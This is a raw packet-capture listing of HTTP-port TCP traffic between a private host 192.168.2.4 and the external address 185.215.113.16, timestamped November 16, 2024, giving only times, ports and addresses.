Nov 16, 2024 04:33:26.342375994 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342411995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342446089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342479944 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342514992 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342555046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342588902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342622042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342655897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342689991 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342725039 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342757940 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342792034 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342803001 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.342803001 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.342803001 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.342803001 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.342803001 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.342803001 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.342825890 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342861891 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342895985 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342931986 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.342964888 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343002081 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343036890 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343070984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343103886 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343137980 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343170881 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343204975 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343238115 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343272924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343302965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343360901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343360901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343360901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343360901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343360901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343360901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343360901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343370914 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343408108 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343426943 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343441963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343477964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343512058 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343525887 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343525887 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343545914 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343596935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343614101 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343627930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.343684912 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343684912 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.343898058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.345427036 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.347208023 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347243071 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347279072 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347345114 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.347459078 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347486973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347537994 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347590923 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347604036 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.347646952 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347681999 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347716093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347771883 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347805023 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347817898 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.347841978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347871065 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.347910881 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.347910881 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.348907948 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.348959923 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.348994017 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.349033117 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.349045038 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.349080086 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.349108934 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.349142075 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.349175930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.349211931 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.349214077 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.351969957 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.402041912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.402093887 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.402131081 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.402164936 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.402200937 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.402616978 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.402616978 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.423649073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.423747063 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.423747063 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.423804998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.423841953 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.423876047 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.423914909 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.423923969 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.423943996 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.423985958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424021959 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424051046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424086094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424120903 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424127102 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.424127102 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.424154997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424190998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424225092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424259901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424293995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424328089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424361944 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.424370050 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.424370050 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.424370050 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.424370050 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.457283020 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457395077 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457461119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457470894 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.457523108 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457555056 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.457576990 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457612991 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457668066 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457711935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457729101 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.457746029 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457775116 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.457788944 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.457798958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457829952 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457880974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457931042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.457943916 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.457962036 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458014011 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458039045 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458066940 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458101034 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458134890 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458141088 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458156109 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458169937 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458204031 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458256006 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458319902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458336115 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458352089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458367109 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458395958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458446980 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458471060 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458471060 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458471060 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458471060 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458483934 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458518028 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458525896 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458554983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458578110 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458590984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458659887 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458678007 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458694935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458749056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458766937 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458781004 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458816051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458848953 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458914042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458946943 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.458977938 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458977938 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.458998919 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459055901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459105968 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459119081 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459119081 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459140062 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459176064 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459232092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459266901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459270954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459304094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459362984 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459389925 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459424973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459460974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459501982 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459527969 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459527969 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459553957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459589005 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459609032 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459624052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459659100 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459691048 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459724903 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459758997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459764004 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459764004 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459786892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459799051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459832907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459867001 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459899902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459918022 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459927082 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459927082 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459930897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459949017 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459964037 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459976912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459991932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.459992886 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.459992886 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460010052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460025072 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460041046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460057020 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460081100 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460095882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460100889 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460100889 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460100889 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460114002 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460128069 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460144043 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460148096 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460160971 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460176945 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460192919 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460206985 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460221052 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460221052 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460221052 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460222006 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460238934 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460246086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460257053 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460270882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460285902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460302114 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460318089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460323095 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460323095 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460340023 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460345030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460362911 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460378885 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460396051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460400105 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460412979 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460428953 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460433006 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460444927 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460462093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460477114 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460478067 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460498095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460503101 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460515022 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.460520983 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460580111 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.460602999 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.464498997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464534044 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464551926 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464569092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464585066 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464607000 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.464607000 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.464608908 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464627981 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464643955 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464668989 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464683056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464699984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464716911 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.464796066 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.464796066 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.464796066 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.464796066 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.466151953 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.466201067 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466224909 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466258049 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466272116 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466285944 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466295958 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.466299057 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466310978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466321945 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466336012 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466341019 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.466346979 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.466384888 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.466384888 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.467204094 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.518893957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.518940926 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.518979073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.519016981 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.519052029 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.519089937 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.519095898 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.519095898 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.519206047 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.540810108 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.540905952 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.540965080 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541001081 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541011095 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541058064 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541059971 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541115046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541148901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541183949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541218042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541224003 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541271925 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541280985 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541307926 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541316986 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541344881 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541379929 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541414022 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541416883 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541450024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541485071 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541517973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541553974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541588068 CET	80	49742	185.215.113.16	192.168.2.4
